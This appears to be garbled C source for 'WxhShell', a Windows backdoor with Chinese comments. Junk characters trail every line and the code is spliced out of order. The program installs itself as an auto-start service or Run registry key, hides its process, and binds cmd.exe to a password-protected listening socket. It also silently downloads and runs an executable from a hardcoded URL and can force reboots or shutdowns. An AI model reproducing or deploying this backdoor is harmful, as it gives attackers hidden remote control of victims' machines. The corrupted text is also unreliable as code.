    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hT]\*},  
    else { wS9EC}s:Q  
    closesocket(wsh); yc?+L ;fN  
    ExitThread(0); a!vF;J-Zqa  
    } A46Xei:Ow  
    break; '(4$h3-gv7  
    } Q0s!]Dk  
  // 获取shell hKj"Lb9 ]  
  case 's': { r&U5w^p  
    CmdShell(wsh); 3!ZndW SHV  
    closesocket(wsh); 9q(*'rAm  
    ExitThread(0); .IXkdy  
    break; CvS}U%   
  } hi^@969  
  // 退出 ]lV\D8#  
  case 'x': { WW\t<O;z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &;I=*B~kE$  
    CloseIt(wsh); ckG`^<  
    break; Z:j6AF3;  
    } QpbyC_:;$4  
  // 离开 RsU!mYs:H  
  case 'q': { os 9X)G  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); WrP 4*6;"  
    closesocket(wsh); I@ "%iYL  
    WSACleanup(); _8]hn[  
    exit(1); V 3?x_pp  
    break; w eu3c`-a  
        } IWc?E  
  } kB:6e7D|[  
  } XpS].P9  
_ljdo`j#N  
  // 提示信息 ] A.:8;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +OM`c7M:  
} KPW2e2{4@  
  } ?2LRMh")$  
1T96W :   
  return; z;fi  
} H! IL5@@K  
&\[3m^L  
// shell模块句柄 &T"X kgU5  
int CmdShell(SOCKET sock) VkKq<`t<  
{ 'Ll,HgU;  
STARTUPINFO si; $;@L PE  
ZeroMemory(&si,sizeof(si)); g3*" ^C2=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BC}+yS \  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {-FS+D`  
PROCESS_INFORMATION ProcessInfo; 6@N?`6Bt  
char cmdline[]="cmd"; {Ftz4y)6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +*Um:}&  
  return 0; IG}`~% Z  
} Nhq& Sn2  
7-*QF>w<a  
// 自身启动模式 f[}N  
int StartFromService(void) zzq7?]D  
{ *C>B-j$  
typedef struct _4H}OGZI  
{ JYQ.Y!X1O  
  DWORD ExitStatus; Cq-d,  
  DWORD PebBaseAddress; _!m_s5{  
  DWORD AffinityMask; Y6J7N^  
  DWORD BasePriority; HC'k81Q  
  ULONG UniqueProcessId; f(Hh(  
  ULONG InheritedFromUniqueProcessId; 2 d%j6D  
}   PROCESS_BASIC_INFORMATION; 86.LkwlqoH  
+W=  
PROCNTQSIP NtQueryInformationProcess; ve#*qz Y  
z% ln}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -85]x)JE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1r %~Rm  
Yn0l}=, n  
  HANDLE             hProcess; %&D,|Yl6  
  PROCESS_BASIC_INFORMATION pbi; Mo4#UV  
LdSBNg#3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #Kr\"o1]  
  if(NULL == hInst ) return 0; q?Jd.r5*  
QH_0U`3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T);eYC"@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1-HL#y*7$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vY+{zGF  
=N _7DT  
  if (!NtQueryInformationProcess) return 0; "K.XoG4|  
zvvF 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6CKWKc  
  if(!hProcess) return 0; u!&w"t61Nd  
+Lq;0tRC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; lkj^<%N"r  
uVO*@Kj+  
  CloseHandle(hProcess); ! OM P]  
lnXb]tm;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2>Uy`B|f  
if(hProcess==NULL) return 0; ^H0`UKE  
mLa0BIP  
HMODULE hMod; U#o5(mK  
char procName[255]; ^ X&`:f  
unsigned long cbNeeded; -c^/k_n  
F vJJpPS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @;T>*_Yhn  
UfE41el:  
  CloseHandle(hProcess); Z*/*P4\  
.EOHkhn  
if(strstr(procName,"services")) return 1; // 以服务启动 ~:65e 8K  
qr5ME/)z  
  return 0; // 注册表启动 f8>S<:  
} ,bv?c@  
5H+S=  
// 主模块 =:fFu,+{  
int StartWxhshell(LPSTR lpCmdLine) TEgmE9^`)7  
{ ya+eGD@N':  
  SOCKET wsl; Ri,8rf0u  
BOOL val=TRUE; fO!S^<9,-  
  int port=0; _g%Wx?K9  
  struct sockaddr_in door; Ivw+U-Mz  
NW}kvZ  
  if(wscfg.ws_autoins) Install(); <K8$00lm  
8"C;I=]8  
port=atoi(lpCmdLine); ?K<m.+4b*y  
.3(=U Q  
if(port<=0) port=wscfg.ws_port; OG# 7Va  
$ Cr? }'a  
  WSADATA data; vXUrS+~x  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4KB) UPW  
OL{U^uOhY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :!vDX2o)\  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Fm\ h883\  
  door.sin_family = AF_INET; O5PCR6U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); AJRfl%3  
  door.sin_port = htons(port); TQx''$j\  
WMB~? EDhv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &hmyfH&S  
closesocket(wsl); k~ZwHx(%S  
return 1; &A=q_  
} %m'd~#pze  
jW6~^>S  
  if(listen(wsl,2) == INVALID_SOCKET) { jWb;Xk4  
closesocket(wsl); 2?LZW14$d  
return 1; A[lkGQtS4  
} cad%:%p  
  Wxhshell(wsl); f"h{se8C  
  WSACleanup(); HYgq@47$[  
XUU l*5^  
return 0; `0+zF-  
E<>Ev_5>  
} GXC:~$N  
wi]|"\  
// 以NT服务方式启动 \WD}@6) ~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [`P+{ R  
{ Mn(:qQo^&`  
DWORD   status = 0; .bbl-a/ 3  
  DWORD   specificError = 0xfffffff; `B;^:u  
qw[)$icP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8W?/Sg`  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; u\zRWX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; VsOn j~@  
  serviceStatus.dwWin32ExitCode     = 0; TD+V.}  
  serviceStatus.dwServiceSpecificExitCode = 0; =!_e(J  
  serviceStatus.dwCheckPoint       = 0; 1btQ[a6j  
  serviceStatus.dwWaitHint       = 0; ]}R\[F (_%  
+*[lp@zU{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); "Ko ^m(`  
  if (hServiceStatusHandle==0) return; AW@ I,  
$L>tV='  
status = GetLastError(); vX})6O  
  if (status!=NO_ERROR) +)Tt\Q%7  
{ MWGW[V;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g W'aK>*c  
    serviceStatus.dwCheckPoint       = 0; 7g3vh%G.  
    serviceStatus.dwWaitHint       = 0; %fMK^H8{  
    serviceStatus.dwWin32ExitCode     = status; fB[I1Z  
    serviceStatus.dwServiceSpecificExitCode = specificError; WE \912j  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); siw } }}  
    return; \I; lgz2  
  } <R>qOX8  
G 8OLx+!0e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U<fe 'd  
  serviceStatus.dwCheckPoint       = 0; qsXK4`  
  serviceStatus.dwWaitHint       = 0; +N2?fgA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); z c N1i^   
} >5)E\4r-  
k'Fc:T8:~5  
// 处理NT服务事件,比如:启动、停止 FQ>KbZh  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GQ ZEMy7  
{ 0V ,R|Ln  
switch(fdwControl) j[Uul#  
{ #R<4K0Xan  
case SERVICE_CONTROL_STOP: FR _R"p  
  serviceStatus.dwWin32ExitCode = 0; &'9 Jy'(X  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k$?zh$  
  serviceStatus.dwCheckPoint   = 0; ?e9Acc`G5  
  serviceStatus.dwWaitHint     = 0; ^il'Q_-{  
  { <SmXMruU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %M^X>S\%  
  } qT^R> p  
  return; #>C.61Fx  
case SERVICE_CONTROL_PAUSE: ae( o:G  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \Fj$^I>C  
  break; @x?7J@:  
case SERVICE_CONTROL_CONTINUE: wMNtN3   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q-fi(UP  
  break; (( F[]<?  
case SERVICE_CONTROL_INTERROGATE: IM),cOp=  
  break; p6u"$)wt  
}; !7t,(Id8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?it49  
} 6O8'T`F[  
JPW+(n|g  
// 标准应用程序主函数 }6b=2Z}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) B]~#+rMK  
{ {^ 1s  
kb{h`  
// 获取操作系统版本 fl>*>)6pm  
OsIsNt=GetOsVer(); V}(snG,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,":_=Tf.  
z%5i^P  
  // 从命令行安装 ~E&drl\  
  if(strpbrk(lpCmdLine,"iI")) Install(); +O>1 Ed  
LyRto  
  // 下载执行文件 JVE]Qb_  
if(wscfg.ws_downexe) { m:A 7*r[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -_BS!T%r  
  WinExec(wscfg.ws_filenam,SW_HIDE); (NrH)+)J!a  
} } _Yk.@J5  
0p\R@{  
if(!OsIsNt) { m@  b~  
// 如果时win9x,隐藏进程并且设置为注册表启动 e{@TR x  
HideProc(); f!2`N  
StartWxhshell(lpCmdLine); 0Pw?@uV  
} Jx[Z[RO2  
else i)=!U>B_0  
  if(StartFromService()) jz(}P8  
  // 以服务方式启动 KIO{6  
  StartServiceCtrlDispatcher(DispatchTable); v{9< ATi  
else 2^N 4(  
  // 普通方式启动 J/Ki]T9  
  StartWxhshell(lpCmdLine); W _(  
vy\;#X!  
return 0; i_T8Bfd:  
} *l:5FT p  
vhiP8DQ  
aW$( lf2;  
Z7?C^m  
=========================================== ~L j[xP  
;,GE!9HW  
~3 4Ly  
.hW_P62\#  
@4dB$QF`&  
.nX+!EXeS  
" J2VhheL`J  
) 9h5a+Z  
#include <stdio.h> g,/gApa  
#include <string.h> Bgs3sM9  
#include <windows.h> JI-q4L|  
#include <winsock2.h> !X721lNP  
#include <winsvc.h> qXO@FW]  
#include <urlmon.h> e -vL!&;2  
En%PIkxeR  
#pragma comment (lib, "Ws2_32.lib") S;[g0j  
#pragma comment (lib, "urlmon.lib") r<4FF=  
9qxB/5d_  
#define MAX_USER   100 // 最大客户端连接数 X=]FVHV;  
#define BUF_SOCK   200 // sock buffer XUeBK/aQ{  
#define KEY_BUFF   255 // 输入 buffer !IlsKMZ  
n]G!@-z  
#define REBOOT     0   // 重启 C8i6ESmU  
#define SHUTDOWN   1   // 关机 A+i|zo5p=k  
z$OKn#%T  
#define DEF_PORT   5000 // 监听端口 tM3eB= .*  
vL~nJv  
#define REG_LEN     16   // 注册表键长度 p<IMWe'tP  
#define SVC_LEN     80   // NT服务名长度 Z^w11}  
g2;!AI5f  
// 从dll定义API CC,_I>t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |f+|OZY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "@Ir Bi6  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ./nq*4=  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A?I/[zkc  
E _d^&{j  
// wxhshell配置信息 $oKT-G  
struct WSCFG {  a~>.  
  int ws_port;         // 监听端口 /y/O&`X(  
  char ws_passstr[REG_LEN]; // 口令 ;`<uo$R  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3_k.`s_Z  
  char ws_regname[REG_LEN]; // 注册表键名 NUH;\*]8s  
  char ws_svcname[REG_LEN]; // 服务名 .*+?]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 hkOhY3K5  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ge*(w{|x  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *3 .+19Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZZ/F}9!=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (3kz(6S  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,m<t/@^]  
HmxA2 ~C  
}; t# cm |  
w\wS?E4G  
// default Wxhshell configuration CMk0(sztU_  
struct WSCFG wscfg={DEF_PORT, YCJcDab  
    "xuhuanlingzhe", #gjhs"$~  
    1, Lo"w,p`n@  
    "Wxhshell", 0< i]ph  
    "Wxhshell", Y![m'q}K  
            "WxhShell Service", q1C) *8*g  
    "Wrsky Windows CmdShell Service", a "*DJ&  
    "Please Input Your Password: ", t[>y=89  
  1, t+C9QXY  
  "http://www.wrsky.com/wxhshell.exe", Z x&gr|)}  
  "Wxhshell.exe" )*!"6d)^  
    }; 1CS[%)-c  
tuZA q;X  
// 消息定义模块 M'Fa[n*b?!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v X=zqV  
char *msg_ws_prompt="\n\r? for help\n\r#>"; cWG>w6FI  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ""LCyKu   
char *msg_ws_ext="\n\rExit."; /W4F(3oM  
char *msg_ws_end="\n\rQuit."; x\/N09  
char *msg_ws_boot="\n\rReboot..."; 3=r#=u5z  
char *msg_ws_poff="\n\rShutdown..."; Ln~Z_!  
char *msg_ws_down="\n\rSave to "; z D&5R/I  
_ ," -25a  
char *msg_ws_err="\n\rErr!"; Wz}DC7  
char *msg_ws_ok="\n\rOK!"; r?^[o  
P3[!-sv  
char ExeFile[MAX_PATH]; T)QZ9a  
int nUser = 0; lHg&|S&J  
HANDLE handles[MAX_USER]; cT8b$P5w  
int OsIsNt; 0I|IL]JL  
3Zy$NsY3  
SERVICE_STATUS       serviceStatus; ;W ZA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ohI>\  
>0#WkmRY  
// 函数声明 o;.6Y `-fJ  
int Install(void); RPb/U8  
int Uninstall(void); /jBjqE;_  
int DownloadFile(char *sURL, SOCKET wsh); a' sa{>  
int Boot(int flag); e|ChCvk  
void HideProc(void); DA>_9o/l  
int GetOsVer(void); !8cS1(a  
int Wxhshell(SOCKET wsl); H.sYy-_]F  
void TalkWithClient(void *cs); d E0 `tX  
int CmdShell(SOCKET sock); `5VEGSP]  
int StartFromService(void); j%|#8oV  
int StartWxhshell(LPSTR lpCmdLine); *3,GQ%~/z  
Vl91I+Ev  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); u9 LP=g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (%\vp**F  
zn5U(>=c  
// 数据结构和表定义 wHGiN9A+  
SERVICE_TABLE_ENTRY DispatchTable[] = r9),F.6,  
{ zli@XZ#  
{wscfg.ws_svcname, NTServiceMain}, /}%$fB  
{NULL, NULL} Eb9 eEa<W  
}; jacp':T  
P>*B{fi^  
// 自我安装 Y)X 'hk)5|  
int Install(void) );8Nj zX1  
{ ?Cg",k'  
  char svExeFile[MAX_PATH]; IK:F~I  
  HKEY key; RnvPqNs  
  strcpy(svExeFile,ExeFile);  ,\HZIl[8  
z#$>f*b  
// 如果是win9x系统,修改注册表设为自启动 7~gIOu  
if(!OsIsNt) { v#. %eF m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z *9Qeu-N:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !,;>)R   
  RegCloseKey(key); (?9@nS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { yuTSzl25,/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sj"zgE)  
  RegCloseKey(key); #84<aM  
  return 0; h($XR+!#  
    } )<fa1Gz#^  
  } Y[(U~l,a+  
} @X_<y  
else { H$M#+EfL  
/| nZ)?  
// 如果是NT以上系统,安装为系统服务 /< OoZf+[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $#b@b[h<w  
if (schSCManager!=0) ?9Lp@k~TO  
{ I$rnW  
  SC_HANDLE schService = CreateService {LwV&u(  
  ( !$q *~F"S  
  schSCManager, S< TUZ /;  
  wscfg.ws_svcname, 2H h5gD|>  
  wscfg.ws_svcdisp, z5V~m_RO  
  SERVICE_ALL_ACCESS, X9|={ng)g#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , !Vtj:2PQL  
  SERVICE_AUTO_START, yvQRr75  
  SERVICE_ERROR_NORMAL, m$ubxI)  
  svExeFile, SxAZ2|/-  
  NULL, xI'sprNa_1  
  NULL, E41ay:duAl  
  NULL, _m;H$N~I#  
  NULL, vr:5+wew  
  NULL fz9 ,p;b  
  ); ,aA%,C.0U  
  if (schService!=0) Rxl )[\A*  
  { cft'%IEs  
  CloseServiceHandle(schService); w=|"{-ijo  
  CloseServiceHandle(schSCManager); \dB)G<_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  qHU=X"rn  
  strcat(svExeFile,wscfg.ws_svcname); E8`AU<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _J N$zZ{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u0s25JY.%  
  RegCloseKey(key); p7Q}xx  
  return 0; i_[nW  
    } E1"H( m&6  
  } =IIB~h[TB  
  CloseServiceHandle(schSCManager); OYbgt4  
} t XbMP  
} \DgWp:|  
zfm-v U  
return 1; xDsB%~  
} t>Ot)d  
Klv~#9Si  
// 自我卸载 mO?yrM *  
int Uninstall(void) oiKY2.yW  
{ YXFUZ9a#e  
  HKEY key; @pn<x"F5'  
>3,t`Z:  
if(!OsIsNt) { H[;\[ 3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }zE Qrfl  
  RegDeleteValue(key,wscfg.ws_regname); k~|5TO  
  RegCloseKey(key); }Q<c E$c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Wh7}G   
  RegDeleteValue(key,wscfg.ws_regname); T`Jj$Lue{  
  RegCloseKey(key); V`,tu `6  
  return 0; X1N*}@:/  
  } {0?]weN*  
} o;^k"bo6   
} PDQ\ND  
else { D'UYHc {  
kbR!iPM-;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -Y:^<C^^&8  
if (schSCManager!=0) g"P!KPrf1p  
{ ! ,v!7I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \l d{Z;e  
  if (schService!=0) wgV?1S>Z  
  { 7hLdCSX  
  if(DeleteService(schService)!=0) { rO;Vr},3\%  
  CloseServiceHandle(schService); '{ I YANVT  
  CloseServiceHandle(schSCManager); ,!{/Y7PmJ  
  return 0; X1J'  
  } Ac,Qj`'V  
  CloseServiceHandle(schService); q<2b,w==  
  } r'/H3  
  CloseServiceHandle(schSCManager); UwQyAD]Ht  
} "A0J~YvYWJ  
} 6t0-u~  
E5EAk6  
return 1; F/(z3Kf  
} EWX!:BKf  
b+DBz}L4  
// 从指定url下载文件 *H''.6  
int DownloadFile(char *sURL, SOCKET wsh) s+jL BY  
{ ,FP<# 0F*a  
  HRESULT hr; Hb :@]!r>  
char seps[]= "/"; 'nR'o /!  
char *token; ]!=,8dY  
char *file; ?--EIA8mfp  
char myURL[MAX_PATH]; wFHbz9|@I  
char myFILE[MAX_PATH]; {YoK63b$  
Ce%fz~*b  
strcpy(myURL,sURL); %=t8   
  token=strtok(myURL,seps); i[\`]C{gf  
  while(token!=NULL)  $w@0}5Q  
  { #rs]5tx([  
    file=token; XzH"dDAVE  
  token=strtok(NULL,seps); pMy];9SvW  
  } k:JlC(^h  
Tz"Xm/Gy  
GetCurrentDirectory(MAX_PATH,myFILE); 2U Q&n`A  
strcat(myFILE, "\\"); &P,z$H{o@  
strcat(myFILE, file); u}:p@j}Zv  
  send(wsh,myFILE,strlen(myFILE),0); ; wpX  
send(wsh,"...",3,0); wP: w8O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -{tB&V~+v  
  if(hr==S_OK) 9BA*e-[  
return 0; pm 4"Q!K  
else R | &+g\{;  
return 1; ?8O %k<?  
MS~|F^g  
} ER ^#J**  
`c )//o  
// 系统电源模块 8FmRD  
int Boot(int flag) BnL[C:|  
{ cp&- 6 w+  
  HANDLE hToken; hj_%'kk-A  
  TOKEN_PRIVILEGES tkp; f L}3I(VK  
U~)i&":sN  
  if(OsIsNt) { ktu{I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); S=R}#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); yL#bZ9W }  
    tkp.PrivilegeCount = 1; M]RbaXZ9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ha%3%O8Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); > kLUQ%zE@  
if(flag==REBOOT) { ]sbj8  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T/$6ov+K  
  return 0; g3`:d)|  
} T,sArKBI  
else { ^-24S#KE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j%V95M% $  
  return 0; f.~-31  
} DAPbFY9  
  } J!5>8I(_wX  
  else { W_C#a'$  
if(flag==REBOOT) { Eed5sm$H  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) etPb^&#$  
  return 0; heAbxs  
} S\F;b{S1  
else { .+'`A"$8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6;:s N8M+1  
  return 0; 2[#7YWs  
} n&51_.@Q  
} :+G1=TuXw~  
POl[]ni=>  
return 1; o!";&\,Ip  
} Do3g^RD#  
%s^2m"ca}=  
// win9x进程隐藏模块 4}4K6y<q  
void HideProc(void) cr&sI=i  
{ }=+J&cR  
";&5@H|  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w=]bj0<A=  
  if ( hKernel != NULL ) c']3N  
  {  u Z(vf  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >AbgJ*X.  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -UHa;W H  
    FreeLibrary(hKernel); {GTOHJ2  
  } xcF:moL  
`<0{U]m  
return;  <|Pw*L$  
} * mzJ)4A  
gCVgL]jj(  
// 获取操作系统版本 ?l6NQ;z  
int GetOsVer(void) wRa$b  
{ Y [hTO.LF  
  OSVERSIONINFO winfo; ifA)Ppt<`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]dx6E6A,  
  GetVersionEx(&winfo); WSt&?+Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d3$*z)12`  
  return 1; <vMdfw"(  
  else z NF.nS}:  
  return 0; ^""Ss  
} &2~c,] 9C  
z qM:'x*  
// 客户端句柄模块 XM9}ax  
int Wxhshell(SOCKET wsl) ~^&]8~m*d  
{ X9J&OQ  
  SOCKET wsh; 9`A}-YA !  
  struct sockaddr_in client;  rq[+p  
  DWORD myID; ^ #6Ei9di  
4x`.nql  
  while(nUser<MAX_USER) e^N6h3WF  
{ _'W en  
  int nSize=sizeof(client); F5hOKUjv  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :o)4Y  
  if(wsh==INVALID_SOCKET) return 1; u%o2BLx  
&jg..R  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O|5Z-r0<  
if(handles[nUser]==0) -f{NVX\<0  
  closesocket(wsh); #RJFJb/  
else qu}&4_`%:V  
  nUser++; .L#xX1qr  
  } 1x"S^j   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >ZE8EL  
uxxS."~  
  return 0; Cwb }$=p'  
} q|;Sn  
m(B,a,g<  
// 关闭 socket ?3I93Bt7  
void CloseIt(SOCKET wsh) W=[.. d  
{ l6[0i  
closesocket(wsh); _&U5 u  
nUser--; Po~u-5  
ExitThread(0); J Uf{;nt  
} qoifzEc`U  
!oJ226>WI  
// 客户端请求句柄 "K!9^!4&  
void TalkWithClient(void *cs) Hq>"rrVhx  
{ bG'"l qn  
!6yyX}%o  
  SOCKET wsh=(SOCKET)cs; K|OowM4tv  
  char pwd[SVC_LEN]; VSxls  
  char cmd[KEY_BUFF]; NV[_XXTv7  
char chr[1]; Qd{h3K^hlu  
int i,j; pejG%pJ  
k=7+JI"J  
  while (nUser < MAX_USER) { _YT9zG  
M_ GN3  
if(wscfg.ws_passstr) { HxH.=M8S_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ftw@nQNU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ITq$8  
  //ZeroMemory(pwd,KEY_BUFF); t$*V*gK{  
      i=0;  .L vg $d  
  while(i<SVC_LEN) { R3[H#*gF<  
PCx] >&  
  // 设置超时 Xyf7sHQ  
  fd_set FdRead; ^EG@tB $<  
  struct timeval TimeOut; /.[;u1z"^  
  FD_ZERO(&FdRead); <f')]  
  FD_SET(wsh,&FdRead); Hy_}e"  
  TimeOut.tv_sec=8; h|DKD.  
  TimeOut.tv_usec=0; !R`)S7!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); QIcg4\d%s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gLH#UwfJ  
fFBD5q(n  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Vvs:h%H  
  pwd=chr[0]; (t{m(;/  
  if(chr[0]==0xd || chr[0]==0xa) { L'*P;z7<  
  pwd=0; =,UuQJ,l  
  break; p{sbf;-x}  
  } Ga%x(1U[&  
  i++; '%D$|)  
    } }`SXUM_sD`  
Yy_o*Ozq  
  // 如果是非法用户,关闭 socket n1Y3b~E?E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); c T[.T#I  
} RCS91[  
Ky qFeR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); N~w4|q!]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K)h\X~s  
CQLh;W`Dc  
while(1) { |&>!"27;w  
xEA%UFB.!G  
  ZeroMemory(cmd,KEY_BUFF); LPOZA`  
\[-z4Fxg|'  
      // 自动支持客户端 telnet标准   P@u&~RN9f+  
  j=0; [~ Wiy3n  
  while(j<KEY_BUFF) { LGOeBEAMV^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .q>4?+  
  cmd[j]=chr[0]; mNvK|bTUT  
  if(chr[0]==0xa || chr[0]==0xd) { E rf$WPA  
  cmd[j]=0; T@GR Tg  
  break; l<](8oc. w  
  } &I[ITp6y 0  
  j++; lO+<T[  
    } ~vCfMV[F  
.45XS>=z#  
  // 下载文件 Ozygr?*X  
  if(strstr(cmd,"http://")) { 9}4EW4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sH^?v0^a  
  if(DownloadFile(cmd,wsh)) ~)S Q{eK?&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); >gt_C'  
  else &zCqF=/9U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); No\H QQ  
  } !  Z e  
  else { M!=WBw8Y]a  
!n=@(bT*wT  
    switch(cmd[0]) { -jZP&8dPH  
  [\hk_(}  
  // 帮助 JlR'w]d M,  
